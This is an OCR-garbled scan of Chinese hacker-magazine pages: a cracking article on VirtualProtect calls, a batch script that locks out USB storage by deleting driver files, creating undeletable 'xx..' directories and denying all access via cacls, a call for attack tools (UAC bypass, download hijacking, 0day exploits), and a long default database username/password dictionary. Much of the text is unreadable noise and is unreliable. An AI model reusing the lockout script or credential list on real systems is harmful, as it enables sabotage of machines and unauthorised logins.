XA, HEGPATE DI X B A BAT B BRI BURI5E, BE I8 — Ak
J&, fbam] T SRR, DRER NS, HRERRA 1D, RIS
g — AR, BAME—FET, ([HEERA AZE Rl 0D KA, WMAMEESA—F).
FTEL, EREANSE, S APT, ESGHRZEA APT. B —TM&, FriE APT A RfE
REE TN AR PCT — SR E IO (BB4) 2T, MG — R AT AFRE. A iE B
gk, HI APT ARBEMEERA APL AT LT, A TREPARE, R RIEIR A APT A2tk
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et A, Mk Ule B AR ANINER APL, JEFEFR, RIEAFIGER T, HEER
JEORI, T8O T, FEHEE 2 RAENAL, Sl a Rt AR it 1, EREIEN
P B o o S () A A SRR . A, XS APT R BEERAT, XES LA R, X HEM
s& VirtualProtect, J5IKMAESE = PAF AU, BJGIEA — 5, APT FITLE [ A7 7 ) 3 2 AN
MEF, HEEHSPHRM, FELER - NEE.

B, WA IRURARTI R A, KACE. fmd 17, X EPELE MessageBoxA
I APT [ VirtualProtect, NAHAIEE? HARTANIMSE LI, FATKZZFE

XA H APT:

VirtualProtect (0, (DWORD) “tst”, (DWORD)”HF”,0);

RHEBR T LS, MASHHA A B, WERLAMRN, ETHE, BaREA
IR AR, X AMEA D NBOSERT, AR AR RO e AR 2 0 R AE S T D 8 2R, sk
SR ISR AT LA T

HO e R “ K7, BT EA F 22 R 6 A AR, HSARERA
45, RERER ERAE R Xl aT LT, BROREE R 2 1K 7 I, ANHEKFEH,
RELRER I H A FNEREFA AR ERRITRE sl 1.

RIGEBEMELIGIER, RE LG8 AZIL, RERWEAREIE 1 FR.

6A B8 push 8x8 p0ldProtect = HULL
68 SC684888 | push 88485 B5C HewProtect = PAGE_READWRI
68 68684888 |push 8848686 8 Size = 4B6B6E (AZ18976.)
6A B8 push gx8 Address = HULL
FF15 @858480 t:il‘ dword ptr [<&KERHEL3Z _UirtualPr(LUirtualProtect

K1

e A WU B 3 9t 4 B B HAPT T AN LB ? VirtualProtect —#HR AL 1
MessageBoxA [, KR RARHLF GAKIE oD b BHAER 2 EZHOR], I EREK
—HE), R EMAER AT, ORER AT A BISAE R R, —oRJER
T thAEAN B ZHE L B VirtualProtect SKRSZHLMT MessageBoxA AR . XA iEAMEBEXT BT
AR AAIWTRZ L APT, XTHTFR S RIL AR BARYF, A2 T, fRJa b IDA SOf ik &
LR, Wl 2 fos, AR SETR
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push eCx ; 1pfl0ldProtect
push 48h ; F1HewProtect
push S oh ; dwsSize
mou edx, [ebp+lpAddress]
push edx ; lpAddress
call ds:UirtualProtect

Kl 2

2 USB BT RIS AT

/P BadTudou

TEF RN 5 LA, I USB WA 4R 1o 4\ USB e J, FINAT SR A AH ML ) 92
Ny ABRARAS BRI R IR AEFT, R LAAIT,  HL55 8 BE 0 JF A 7E BIOS Hh A5 USB %
%, MIROZRER 7 AN A REEH USB 4% 7, Wateit, HERARE] 17X/,
A TTRERE AR USB (PR B RR . T-/&, RT- MR 8 R B b IT 46

TEAM A CL “USB” A8t F8 R, KI 7 —YEEH USB A, FTIFZ AT AT T
PR “JRPE”, FH LT CXXXXX R BRI RREAL S B A AE K — AN
BA . sz, FmwE 1 PR,

et Cz\WINDO¥Sh=y=sten3?\cud. exe =0 ﬂ

SUWINDOWE \:i.nl-‘ suzhstor .  PNF e« .
C:“WINDOWS~inf~uzhstor.PNF Ci%
C:~UWINDOUE~inf ushstor PNF~1 . N
SUINMDOUS ~inf “ushstor . PNF
C: \WINDOUSNinf ushstor.inf CiF{Fit.
C:\UINDOUS \inf \ushstor.inf\i1..\ CEFFTE,

K1
BRI, AP 7HOCEE, 22f3% T Ctrl+C S EE, W RREE 7. X,
fEAM MR PRI T — A0 ——25F USB.bat, fERGINE CHE, MiZ2E2EH
USB. exe TEIZAT I REH=AE 1), FHCHASTIF, RE@,
BAFTRE R FERH A EE R H OdS 1, AR EE, Fd@ n g % ns i EXE
AIPAT SO FEZIERS 8T, «//7 S0 R INERE R
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SECRET OF CRACK
4‘4 % ﬁ % E'% YEEB &) icefire)

/ /2R A [E]

echo off

/ /%43 & USB BRBIZE WINDOWS S5, S JR4% A Bak

copy %WINDIR%\inf\usbstor.inf %WINDIR%\usbstorinf.bak /y

copy %WINDIR%\inf\usbstor.PNF %WINDIR%\usbstorPNF. bak /y

// B 5 USB 3K 5))

del /q /f %WINDIR%\inf\usbstor. inf

del /q /f %WINDIR%\inf\usbstor.PNF

/ /%251 USB BRE) SC4E PNF

md %WINDIR%\inf\usbstor. PNF

/) BRESLARIFL SO, R FH W R ST A SR BEL 1k 3R 3 SCA 52 3112 50

md %WINDIR%\inf\usbstor. PNF\1..\

/ /S5 USB BKE) SCAF PNF () 1k

attrib +a +s +h +r %WINDIR%\inf\usbstor.PNF /s /d

/ /%251 USB BREN A inf

md %WINDIR%\inf\usbstor. inf

// BRESLARIFL SO, R FH W 0 ST A SR BEL 1k 3R 3 SCA 52 ) 21032 S

md %WINDIR%\inf\usbstor. inf\11..\

/ /S USB BKE) A inf )R 1k

attrib +a +s +h +r %WINDIR%\inf\usbstor. inf /s /d

/ /BB A PR

echo v|cacls YWINDIR%\inf\usbstor. PNF /c /t /P everyone:n

echo v|cacls YWINDIR%\inf\sbstor. inf /¢ /t /P everyone:n

reg add “HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\USBSTOR” /v
Start /t reg dword /d 4 /f

//EMERE BB AN c:\windows\ jy. ini, 1ZHCE CHHIHNEN:

echo HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\USBSTOR [2 19] >>
c:\windows\ jy. ini

/ /G B A

regini c:\windows\ jy. ini

A TS TR, B R 7. KSR E R, AR EHITS LR
MU IEEEFR T LT o« CUnR R TR EE EERE, WG AT, 20 TS R A .
Ja F USB FOYERS a0

@echo off

echo *

echo *

echo
skekskskeskekeleiekeskskskskskekoskoskekokekskskskskeskeskoskoskoskestekskskskskeskoskoskokesiokekskskskeskskekokoskeskekekskskskskskokokokokokeskskskskeskeskeskeok

echo * *

echo *  ANFERFH TS USB %45, E%F EXXXXXXXXXXXXXXXXX]) MLEA R,  *
echo  * AR AY), HAbMIRIE B . AFT Bug B, R EFEEIRM. *
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SECRET OF CRACK
4‘4 % ﬁ % E'% YEEB &) icefire)

echo *
*
echo sokssoksskoksoksksokakokskokskskokskokskokaksok ook sk ks oksksok sk kksk ok sk ok ok
echo * *
echo * *
echo
echo Name :Ja H USB /N T A
echo By :BadTudou
echo Email :BadTudou@xxxx. com
echo Date :2013-04-23
echo  Waring :PRSf F AR o 170 5 SR AR ArTV2 R Do AF: b 456 FH 2 | A7 7K 48
Pause
echo
echo TEAERE X H bR SO SCAF R 1
echo
pause

attrib —a —s —h -r %WINDIR%\inf\usbstor. inf /s /d

attrib —a —s —h -r %WINDIR%\inf\usbstor.PNF /s /d

echo TEAEZAIE BRIRSN LRI AL

pause

rd %WINDIR%\inf\usbstor. PNF\1..\

rd %WINDIR%\inf\usbstor. PNF\

rd YWINDIR%\inf\usbstor. inf\11..\

rd YWINDIR%\inf\usbstor. inf\

echo IEES NIKE) A

pause

del /q /f %WINDIR%\inf\usbstor. inf

del /q /f %WINDIR%\inf\usbstor. PNF

copy %WINDIR%\usbstorinf.bak %WINDIR%\inf\usbstor. inf /y

COPY %WINDIR%\usbstorPNF. bak %WINDIR%\inf\usbstor.PNF /y

echo K ERME B E NEME, WRADIREN, {5 EH GARF L&~
WA

echo 7FM#Wi: HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\USBSTOR

echo %4 : Start

echo #{H : 3

pause

reg add “HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\USBSTOR” /v
Start /t reg dword /d 3 /f

pause

echo Done!

Pause

JA 50 USB ¥ T i J5A5 «
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SECRET OF CRACK
4‘4 % ﬁ‘ '?" E'% YE2E i) icefire)

@echo off

// SEBCE BRSSO R

attrib —a —s —h -r %WINDIR%\inf\usbstor. inf /s /d

attrib —a —s —h -r %WINDIR%\inf\usbstor.PNF /s /d

/) ZRIEBRIR B A ORI AL

rd %WINDIR%\inf\usbstor. PNF\1..\

rd %WINDIR%\inf\usbstor. PNF\

rd %WINDIR%\inf\usbstor. inf\11..\

rd YWINDIR%\inf\usbstor. inf\

/ /BRI JE 21 USB BRI L B LA

del /q /f %WINDIR%\inf\usbstor. inf

del /q /f %WINDIR%\inf\usbstor. PNF

/ /S ERAT 1) USB BRANIE B A 2 3K SO

copy %WINDIR%\usbstorinf.bak %WINDIR%\inf\usbstor.inf /vy

copy %WINDIR%\usbstorPNF. bak %WINDIR%\inf\usbstor.PNF /y

/ /a0 8 S BB NEMER

/ /MR HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\USBSTOR

/ /%% : Start

// BHE : 3

reg add “HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\USBSTOR” /v
Start /t reg dword /d 3 /f

21T H A5G A USB. bat, /a4 )a A USB 15 Bi5 N e R tH BAS %, & R R A EL
RE B URR o fEH] WintR PRAEESEFTH “Is47 " H, A “regedit” FTHEMRIIEL,
B ILAE AR AR B R TR A, 2 A SRR, N 3, W 1 BT
ICHT 4 N USB ¥ 2%, H i IE A UL e

Tracing MHEE
=

$HAEA P AR G

ﬁ Administrators (Al10%Administrators)
€7} CEEATOR OWNER
ﬁ FPower Users (A110%Fower Users)

€7 STSTEN

ﬁUsers (A110\U=ers)

(FEmo... | [ #B® |
Administraters BUAHER (F) :
LI E[ZE3
e | O
il O
HRER IR

FrRIE R S E , H R E Rl .

[ m= [ ®mE | &fdw

& 1
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SECRET OF CRACK
<<< % ﬁ‘ '%" E'% YEEE %R icefire)

AT E S RERBR LI, EEGEIRATRI T E RIS, S0, R .
EA LU IEA:

/) BESEATRIRL SO %, I FH MR SCAH S BHLLE 3K ) ST A 52 1) B S0 e
md %WINDIR%\inf\usbstor. PNF\1..\
/) BESEATRIRL SO, I FH MR SO & BELE 3RS ST A 52 1) B0 e
md %WINDIR%\inf\usbstor. inf\11..\

HEE RN Wi e m.

rd BWINDIR%\inf\usbstor. PNF\1. .\
rd %WINDIR%\inf\usbstor. inf\11..\

RSO . BT B usbstor. inf B HE RS Windows\inf TR,
REAVEEH CE R T, KW, BN EZCEAFAE S usbstor. inf o HEFIEL, 2
FF1E usbstor. inf XA . 4FRATHE usbstor. inf B3] H bR O3-S, KRG 3#)5E Hbr
AR RS AEAE R A S, AR R, SO usbstor. inf B 4AE 7O CUiE 4
usbstor ¥ E4: . inf) o FEZEH usb HHIX B AR :

md %WINDIR%\inf\usbstor. inf\11..\

PEAR ST 7 — AN BTS2, NI PHESASRRIESRE, S LA “mil
7 o RGN B AR SO R usbstor. inf SCHFRT (S2BR_ER—ASCHI) , 2
FOCHEIE T TR ST B e, AEE B TRFTESC 11 BIAF7E, \inf\usbstor. inf\11..
BOF I —AS BATER T SCEE, THZOeh R Ve, RGP H R A B SO TE i M
BRI 1T E b ST AN 2 e B 1

B oo AE FE K “ md WINDIR%\inf\usbstor.inf\11..\” &% A~
“md %WINDIR%\inf\usbstor. inf\xx. .\” , HH xx AR RS T, s #7290
Je, SRIE PSR IE F EALEN W SO,  ABA S USB AR IS B T .
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2014 SE55 11 B SR L% AL RS

HRBZET 2013 FEHEH FI LRGSR S HE L gn i R E AR, TG R R
AU AN T THT o 0] 1K L8 8 A DSBR ) s SR, PR A5 46 675122680@0q.com.
hadefence@gmail.com, B{# QQ: 675122680, HiEA = I, 4 18 BSR40 58 iR 14
i T 4 O g e B v TS AR AIE TS ORI 5 1o 3 11 IR I AN R, e R I R P A
LA H R IE LR A .

1.%%5% Windows UAC RIS R FR 1]

EARWIEE, SR P4 EK ISR 548 Windows UAC ALBE R HI i Sc & (S an ik
A0

1) Windows UAC EiRLIR T, Zeid UAC 7R3N RS 512

2) Windows UAC fIALUR T, #EN 240G 3wk AR i 77

2. BN E
THZRE BN, B AL, SRR LRSS 5, B L,
HE 5 U AHL 72

3.2 T I
BEAN AT RGO EE, EH ST Web HEFIRT, B8 B 25 & 25 T BB 07
17, BIEWIER . KA. CRIEIBIE. BRRASEE L, LSl gmail. yahoo fE4H.

4.Windows7 FERARY FEFGIREX
FEFEFRGRE T, AP AEEEZEND FRHRAT A5, AHIKE Windows7 5 %:
PRY R 1) TV

5. B IR 3389 EAE S Y
BR:
1) EFXF Windows 3389 3zt 72 5. 1H] S HIL 5 77 i 2 A
2) CEHURE BRI A4 AN o A
3) KH 248
4) P eRECER 20 W R R A
5) ffiH VC++2008 4i¥ THLH, &6 G127
6) RASE R c++28, BRI, A 28R 0 s B0 v O A DhRE;
7) Y HF Windows XP/2003/7/2008.

6.WEB - #R it B AR
1) X H bR 1P SECE R
10.10.0.0/16
10.10.3.0/24
10.10.1.0-10.255.255.255
2) % HFR Web IR 255K
ATLLR S E AR Web 45 2% FIZ1T 1 Web %5282/, LLin APACHE B IS &, A
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SR

Tomcat Weblogic Jboss
Apache JOnAS  WebSphere
Lotus Server 1IS(Webdav) Axis2
Coldfusion Monkey HTTPD Nginx

3) X H bR Web IR %5485 6 H#
BEoxf HARREAT 5 6 bk R .

4) X HAx Web J5 & % G084 f#
HMEF| Web Fx/G GG, R85 00, v LRE 7M.

7R S EH 5 1P HuhEFRjR
BR:

D R R E server B, — BB OL NG 5 NS0, AR A A R 6
RATHTIS, BT LA A s i ik o B3R AN 1) R, A i b B AR, B AR S A A
Bedligh, W ICIEER S RIS 14 il ity B S ko

2) i f C 8 C++iE T, VC6 B VC2008 % i 1T =528,

8.Web J5& 55 042 IR
Wi B :

ot Bl F @k R G0 LA 90 5 1 WEB 5 & ERAE i B Fh i 30 5 6 55 1 A ik s 2
JI A -
BR:

1) A% H 3hEl H E AMHGE S R 405 & B RESEE A URL, 41 Word Press. Joomla.
Drupal. Metinfo 257 FH i ik R 45

2) MRAEIUIAE T ZE 1) URL, Rl EBNELH & SOEFSEE 7, BB E & A8 % b
2, X B E B8 R ARG A T

3) A8 SO E R R R, AR P B i R R 0 O

4) mIhRE: BIATFHBARRIE &, TR E AR GOOGLE. BING 554 % 5l
BORBET, FRIMBOE T2 B2 G 6 UL ESMECER URL K ZSHG BUN A
Sk % il i8I GOOGLE. BING S48 22 51 MU H bR AH O FH K = o HIBAEIK ;- DX st
i 7 16 BRLAAL I AR AR 2, WA oA admin, BEAS AT H B3E R N4, B PN abed@abed.com,
MK ;2R f T LA B N abed abed PLJ% abed abed123 B8 abed abed123456 25 i HLK 2

5) . RATRER 2484 E AN vl R 405 6 RIGIRiZ & IFE A5 & URL fE
715 B IWRERRE, J5 6 URL 73 LK 25 = ] @ R E 5.

9.9 B D E:
B
D i HARPLE 09 1, SCFF TCP Connect. SYN. UDP #9477 ;
2) BRI Z LR, i B LR
3) ¥ ThiEedm Sk OLL, S ThAE AL
4) ISR C++35, BEREA YIS, TR R0t ok ot T LA H D)6 ;
5) REZMHETHAE, DIYTEF A5
6) f#i [ VC++2008 %ii% T H4w 5
7) ¥ RS Windows XP/2003/2008/7 .
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10.Android WIFI Tether B & 5h#E
VL :

WIFI Tether (FFIEIIE ) B LLTE ROOT i /] Android 2% FIL =AML (A2 FRAT
UL Wi-Fi #4050, 15 S WIFI Tether SEL— MR, XHRE AN FrA W 28 28 247 55
T AEft

HR:

1) JFJE WIFI # i 5, RHRE AL BT W 28 50 AT 17

2) AFERIMZ A A RSO, B HTTP BUA7f# A HTTP.DAT:

3) &4 HTTP FaEbATH0RE, L 7 T3 www.xx.com/abce.zip, 3 REF2a kit 5t
B abe.zip X1

11.538% Windows7 UAC
LA :

'S —NFEFF, 283t Windows7 UAC $27K, JAah Rab— e, FEMIX AL 73R 3 &
AR

BR:
1) Windows UAC %4 B NE = 200 ;
2) RGN T AT B EHT s
3) SR 32 N 64 L RSt
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2014 FAERR R 7~

CRRBTZD) 1A — A ARAT, C& 14T X TZ2ELSREA LB T — A%
EHARIRINR B F L, BiEE CEREEAR . MR . SRS e AR BB R AT
ST V8 2B SEME  FEURIB BT AT s FIERE, A X B R %36 T LG RS R — e
%

Y ER
BRI

BRI K, ARde—Y) Tkl BEENSEPTER R 0Day AR, Wig, #al
B TR R, RGN LA RS MR R IR ODay, Rz AL, T LLAR
WEATE. AREAERENE, HEKR LS binsun20000@hotmail.com.

Android FiARBTR

My E A H, %) android RGBT B SRR ST . 5T 7 ) B4 android
PEACHSARHT . android RERIML, HAXKIDEEXS android I AR AN LHIAN RS8R JE LR ST Y
B AT
AHER

BRSNS (A5 2 e AR SR TR, 8RR H CREAR M s FF0RR, sk
X BOREA o PRIl
TR B

FIH RS M ORIREHTHBE . AR RIBE, RANR, OSSR
T RAF RN 2% U 45 ODay Il LR, X-FIE R EN KA1 poc JEAT 0 HT AT, 4w'5 IF4E
BRI exploit (SRR s [ RTEF X Sefiia & 1IR3 T 2 Ml - shellcode 43-#t
DA KOS 5 B 6 (1) 22 AL TR
AR

I A R G IRIREAT BREN TR 1215 1 9 AME 2 5 1 A R 481 0Day LA &
AHSE P ACHD o F U ) ] SIS T 5 B R B P2 R IR 5 PR N LR D T J R
W PHP | JSP LA html i A4 AT A4S SE B .

TRE&R

TR BRGS0 B0 Anti AREFRAT . HIPS 2 2P AT HR IR FF
SO S 2 AR R A B AR BT 18, BASET 6 B R B A SO IR s A R
(038 R S 0 e, R EOYGAAE YA LAt B S R AL R AR RIE! Bofr TH, w4 T
HARE TRMHHE AT, DR A B 52 ) v .

BESRN

HEE AR H . WIDEE windows R0, A SQL $df A LMY IR ERE R G HBE . 1
BAEARVIE, Rl N NiEiE . SR SRR EIAR SN . — VIR . $EhSElr i+
WEMR B R R, AT e AR S #

e A

X5 FR G 45 N A IR PR PR 4R 20 AT, BLAECJZ fil « shellcode 25 il A5 X 55
A TR

TEEE AMILTS (1) W 2% 22 AR SR, 3 TR 1R,

W 4% 22 42 B I
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PATTIE SR TN Sl P BEAR P 28 17 i 75« DB IR RINESL: ARP RGN REAR D)
5 AR AR W 45 B IR 1B 75 DDos KUk BRSO 7 T AR S
HRTIEM

TR KRB A S R VB SR G4 BN R R R 1 22 Ok 44 1A
AR
BRI

KTEEE TR WO AR AR EE 4 BRALE . S FeTF k.
YR A0 0] 23 B R IR A G
GRS

B AR A R ARIR s JRJZIRB) S W2l BERR BN g5 92 il 5.
RIS A virus ey BN HEORG 55 BLS I ) A H B0 O B AC RS i Afr A . 3 0 ad
C/C++/ASM H EJT ARy T H B T8
B B K

D HEARS oA — A Word gidlE, # Bl A SCE & S 16, JREbRE <
17, “I& 27

2) fERafAR R IR 44 WATIR S . BLRTT e, GFE ORIV S 44 . HE
(RIS 25 R A S « QQ 5 MSN. HIEFE. WA, T EIRA TR IR 2% -

3) Fch Ty AN f 3]

K H E-Mail 77 X #5h%, $ehs mail: hadefence@gmail.com. QQ: 675122680, #Fi/a
Faff s A DUR T 1~3 AN TAEH NI, EEE B EEE. &1 10 HiifRms APl k&
ERNAREL, 10 HEKBEIF NANRE, EEENAER, #AE RS,
AL #eftdl . BRTNJT, ARKRH AR 38 3 B EH

BRI AR T AR B I E R — S s EE—5))
MR, Katnkhatt, MIAERZEE .

4) Fia ot RIS

ol AR (BaRANEIE 2 7D, Ko M. Wl B 22 (1) B R N DU A X ANMT
Hllo

5) MREFETR, ooh—& 8. SR, FRYbRdEL T

—ERaE 900 Julis

AR 600 J0/0

— &Rt 300 JT/

6) i B A JBUINE -

BT RRIG SRR N & REATRE I, ASCHEH R

7) FhEAEAE KR I R

PERifE46: 675122680@qqg.com. hadefence@gmail.com

%W’ QQ: 675122680
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密码字典.txt

!DEMO_USER\!DEMO_USER

A\A

ABM\ABM

ACCORTO\ACCORTO

ADAMS\WOOD

ADLDEMO\ADLDEMO

ADMIN\JETSPEED

ADMIN\WELCOME

ADMINISTRATOR\ADMIN

ADMINISTRATOR\ADMINISTRATOR

AHL\AHL

AHM\AHM

AK\AK

ALHRO\XXX

ALHRW\XXX

ALR\ALR

AMS\AMS

AMV\AMV

ANDY\SWORDFISH

ANONYMOUS\ANONYMOUS

AP\AP

APPLMGR\APPLMGR

APPLPROD\APPLPROD

APPLSYS\APPLSYS

APPLSYS\APPS

APPLSYS\FND

APPLSYSPUB\APPLSYSPUB

APPLSYSPUB\FNDPUB

APPLSYSPUB\PUB

APPS\APPS

APPS_MRC\APPS

APPUSER\APPPASSWORD

AQ\AQ

AQADM\AQADM

AQDEMO\AQDEMO

AQJAVA\AQJAVA

AQUSER\AQUSER

AR\AR

AR\AR

ASF\ASF

ASG\ASG

ASL\ASL

ASO\ASO

ASP\ASP

AST\AST

ATM\SAMPLEATM

AUDIOUSER\AUDIOUSER

AURORA$JIS$UTILITY$\

AURORA$JIS$UTILITY$\INVALID

AURORA$ORB$UNAUTHENTICATED\INVALID

AX\AX

AZ\AZ

BARCODE\BARCODE1

BARCODE1\TESTER

BARCODE2\TESTER2

BC4J\BC4J

BEN\BEN

BIC\BIC

BIL\BIL

BIM\BIM

BIS\BIS

BIV\BIV

BIX\BIX

BLAKE\PAPER

BLEWIS\BLEWIS

BOLADM\BOLADM

BOM\BOM

BRIOADMIN\BRIOADMIN

BRUGERNAVN\ADGANGSKODE

BRUKERNAVN\PASSWORD

BSC\BSC

BUGREPORTS\BUGREPORTS

C$DCISCHEM\SECRET

CALVIN\HOBBES

CATALOG\CATALOG

CCT\CCT

CDEMO82\CDEMO82

CDEMO82\CDEMO83

CDEMO82\UNKNOWN

CDEMOCOR\CDEMOCOR

CDEMORID\CDEMORID

CDEMOUCB\CDEMOUCB

CDOUGLAS\CDOUGLAS

CE\CE

CENS_ADMIN_USER\CENSLOGIN

CENS_USER\CENSLOGIN

CENTRA\CENTRA

CENTRAL\CENTRAL

CICS\CICS

CIDS\CIDS

CIS\CIS

CIS\ZWERG
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FND\FND

FOO\BAR
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FTE\FTE
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GMD\GMD
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HXC\HXC
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IBP\IBP

IBU\IBU

IBY\IBY

ICDBOWN\ICDBOWN

ICX\ICX

IDEMO_USER\IDEMO_USER

IEB\IEB

IEC\IEC

IEM\IEM

IEO\IEO

IES\IES

IEU\IEU

IEX\IEX
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IGW\IGW
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JA\JA
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JE\JE

JG\JG
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JONES\STEEL
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JTS\JTS
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MANPROD\MANPROD
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MILLER\MILLER
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OEMADM\OEMADM

OEMREP\OEMREP

OKB\OKB

OKC\OKC

OKE\OKE

OKI\OKI

OKO\OKO

OKR\OKR

OKS\OKS

OKX\OKX

OLAPDBA\OLAPDBA

OLAPSVR\INSTANCE

OLAPSVR\OLAPSVR

OLAPSYS\MANAGER

OLAPSYS\OLAPSYS
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OWA\OWA

OWA_PUBLIC\OWA_PUBLIC
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OZF\OZF

OZP\OZP
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PARTY\PASS
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PAUL\PAUL
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PERSTAT\PERSTAT
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PLANNING\PLANNING

PLEX\PLEX
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POM\POM

PORT5\5PORT

PORTAL_DEMO\PORTAL_DEMO

PORTAL_SSO_PS\PORTAL_SSO_PS

PORTAL30\PORTAL30

PORTAL30\PORTAL31
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POWERCARTUSER\POWERCARTUSER
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PSB\PSB

PSP\PSP
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QA\QA
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RE\RE
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REFERENCE\ACCORTO

REMOTE\REMOTE
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REP_OWNER\DEMO

REP_OWNER\REP_OWNER

REP_USER\DEMO

REPADMIN\REPADMIN

REPORTS_USER\OEM_TEMP

REPORTS\REPORTS

REPOS_MANAGER\MANAGER

REPADMIN\REPADMIN

RESOURCE_OLTP1\MANAGER

RESOURCE_BATCH1\MANAGER
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RG\RG

RHX\RHX

RLA\RLA

RLM\RLM

RMAIL\RMAIL

RMAN\RMAN

RMANCAT\RMANCAT

RRS\RRS
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SAP\SAPR3
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SCOTT\TIGER

SCOTT\TIGGER

SDOS_ICSAP\SDOS_ICSAP

SECDEMO\SECDEMO

SECUSR\SECUSR

SERVICECONSUMER1\SERVICECONSUMER1

SH\SH
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SI_INFORMTN_SCHEMA\SI_INFORMTN_SCHEMA

SITEMINDER\SITEMINDER

SLIDE\SLIDEPW

SMB\SMB

SP_ELAN\SP_ELAN

SPIERSON\SPIERSON

SQL2JAVA\SQL2JAVA

SSP\SSP

STARTER\STARTER

STRAT_USER\STRAT_PASSWD

SWPRO\SWPRO

SWUSER\SWUSER

SYMPA\SYMPA

SYSADM\SYSADM

SYSADMIN\SYSADMIN

SYSMAN\OEM_TEMP

SYSMAN\SYSMAN
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SYSTEM\D_SYSTPW

SYSTEM\MANAG3R

SYSTEM\MANAGER

SYSTEM\0RACL3

SYSTEM\ORACL3
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SYSTEM\ORACLE8
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SYS\SYS

SYS\SYSPASS

TAHITI\TAHITI

TALBOT\MT6CH5

TBASE\TBASE

TEST\TEST

TEST_IT\TEST_IT

TEST_USER\TEST_USER

TEST1\TEST1

TDOS_ICSAP\TDOS_ICSAP

TEC\TECTEC

TEST\PASSWD

TEST\TEST

TEST_USER\TEST_USER

TESTPILOT\TESTPILOT
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TIBCO\TIBCO

TIMS\TIMS

TIP37\TIP37

TOGA\TOGA

TRACESVR\TRACE

TRAVEL\TRAVEL

TSDEV\TSDEV

TSUSER\TSUSER

TURBINE\TURBINE

TUTORIAL\TUTORIAL

UCDEMO\UCDEMO

UDDISYS\UDDISYS

ULTIMATE\ULTIMATE

UM_ADMIN\UM_ADMIN

UM_CLIENT\UM_CLIENT

USER\USER
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USER3\USER3

USER4\USER4

USER5\USER5

USER6\USER6

USER8\USER8

USER9\USER9

USUARIO\CLAVE

UTLBSTATU\UTLESTAT

UTILITY\UTILITY

VEA\VEA

VEH\VEH

VERTEX_LOGIN\VERTEX_LOGIN

VIDEOUSER\VIDEOUSER

VIDEOUSER\

VIF_DEVELOPER\VIF_DEV_PWD

VIRUSER\VIRUSER

VPD\VPD
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VRR1\VRR1

VRR1\VRR2

WEBCAL01\WEBCAL01

WEBDB\WEBDB

WEBREAD\WEBREAD
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WEST\WEST

WFADM\WFADM

WFADMIN\WFADMIN

WH\WH

WIP\WIP

WK_SYS\WK_SYS
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WKADMIN\WKADMIN
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WKSYS\WKSYS
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WKUSER\WKUSER

WMS\WMS

WMSYS\WMSYS

WOB\WOB

WPS\WPS

WS\WS

WSH\WSH

WSM\WSM

WWW\WWW

WWWUSER\WWWUSER

XADEMO\XADEMO

XDB\

XDP\XDP

XLA\XLA

XNC\XNC

XNI\XNI

XNM\XNM

XNP\XNP

XNS\XNS

XPRT\XPRT

XTR\XTR

VKO\VKO

VKP\VKP

VKQ\VKQ

VKR\VKR

VKS\VKS

VKT\VKT

VKU\VKU

VKV\VKV

VKW\VKW

VKX\VKX

VKY\VKY

VKZ\VKZ

VLA\VLA

VLB\VLB

VLC\VLC

VLD\VLD

VLE\VLE

VLF\VLF

VLG\VLG

VLH\VLH

VLI\VLI

VLJ\VLJ

VLK\VLK

VLL\VLL

VLM\VLM

VLN\VLN

VLO\VLO

VLP\VLP

VLQ\VLQ

VLR\VLR

VLS\VLS

VLT\VLT

VLU\VLU

VLV\VLV

VLW\VLW

VLX\VLX

VLY\VLY

VLZ\VLZ

VMA\VMA

VMB\VMB

VMC\VMC

VMD\VMD

VME\VME

VMF\VMF

VMG\VMG

VMH\VMH

VMI\VMI

VMJ\VMJ

VMK\VMK

VML\VML

VMM\VMM

VMN\VMN

VMO\VMO

VMP\VMP

VMQ\VMQ

VMR\VMR

VMS\VMS

VMT\VMT

VMU\VMU

VMV\VMV

VMW\VMW

VMX\VMX

VMY\VMY

VMZ\VMZ

VNA\VNA
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VND\VND

VNE\VNE
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VNG\VNG
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VNI\VNI

VNJ\VNJ

VNK\VNK

VNL\VNL

VNM\VNM
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VNQ\VNQ

VNR\VNR

VNS\VNS

VNT\VNT

VNU\VNU

VNV\VNV

VNW\VNW

VNX\VNX

VNY\VNY

VNZ\VNZ

VOA\VOA

VOB\VOB

VOC\VOC

VOD\VOD

VOE\VOE

VOF\VOF

VOG\VOG

VOH\VOH

VOI\VOI

VOJ\VOJ

VOK\VOK

VOL\VOL

VOM\VOM

VON\VON

VOO\VOO

VOP\VOP

VOQ\VOQ

VOR\VOR

VOS\VOS

VOT\VOT

VOU\VOU

VOV\VOV

VOW\VOW

VOX\VOX

VOY\VOY

VOZ\VOZ

VPA\VPA

VPB\VPB

VPC\VPC

VPD\VPD

VPE\VPE

VPF\VPF

VPG\VPG

VPH\VPH

VPI\VPI

VPJ\VPJ

VPK\VPK
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VPM\VPM
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VPO\VPO

VPP\VPP

VPQ\VPQ

VPR\VPR

VPS\VPS

VPT\VPT
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VPW\VPW

VPX\VPX

VPY\VPY

VPZ\VPZ

VQA\VQA

VQB\VQB

VQC\VQC

VQD\VQD

VQE\VQE

VQF\VQF

VQG\VQG

VQH\VQH

VQI\VQI

VQJ\VQJ

VQK\VQK

VQL\VQL

VQM\VQM

VQN\VQN

VQO\VQO

VQP\VQP

VQQ\VQQ

VQR\VQR

VQS\VQS

VQT\VQT

VQU\VQU

VQV\VQV

VQW\VQW

VQX\VQX

VQY\VQY

VQZ\VQZ

VRA\VRA

VRB\VRB
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VRD\VRD

VRE\VRE

VRF\VRF

VRG\VRG

VRH\VRH

VRI\VRI

VRJ\VRJ

VRK\VRK

VRL\VRL

VRM\VRM

VRN\VRN
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VRX\VRX

VRY\VRY
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VSE\VSE
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VSG\VSG

VSH\VSH
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VSS\VSS

VST\VST
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VSV\VSV

VSW\VSW

VSX\VSX

VSY\VSY
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VTB\VTB
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VTD\VTD

VTE\VTE

VTF\VTF
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VTH\VTH
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VTJ\VTJ

VTK\VTK
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VTQ\VTQ
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VUC\VUC
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VUG\VUG
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VUJ\VUJ
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VUL\VUL
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VUN\VUN
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VUQ\VUQ
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VWG\VWG
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VWI\VWI

VWJ\VWJ
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VWO\VWO
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YXT\YXT

YXU\YXU

YXV\YXV

YXW\YXW

YXX\YXX

YXY\YXY

YXZ\YXZ

YYA\YYA

YYB\YYB

YYC\YYC

YYD\YYD

YYE\YYE

YYF\YYF

YYG\YYG

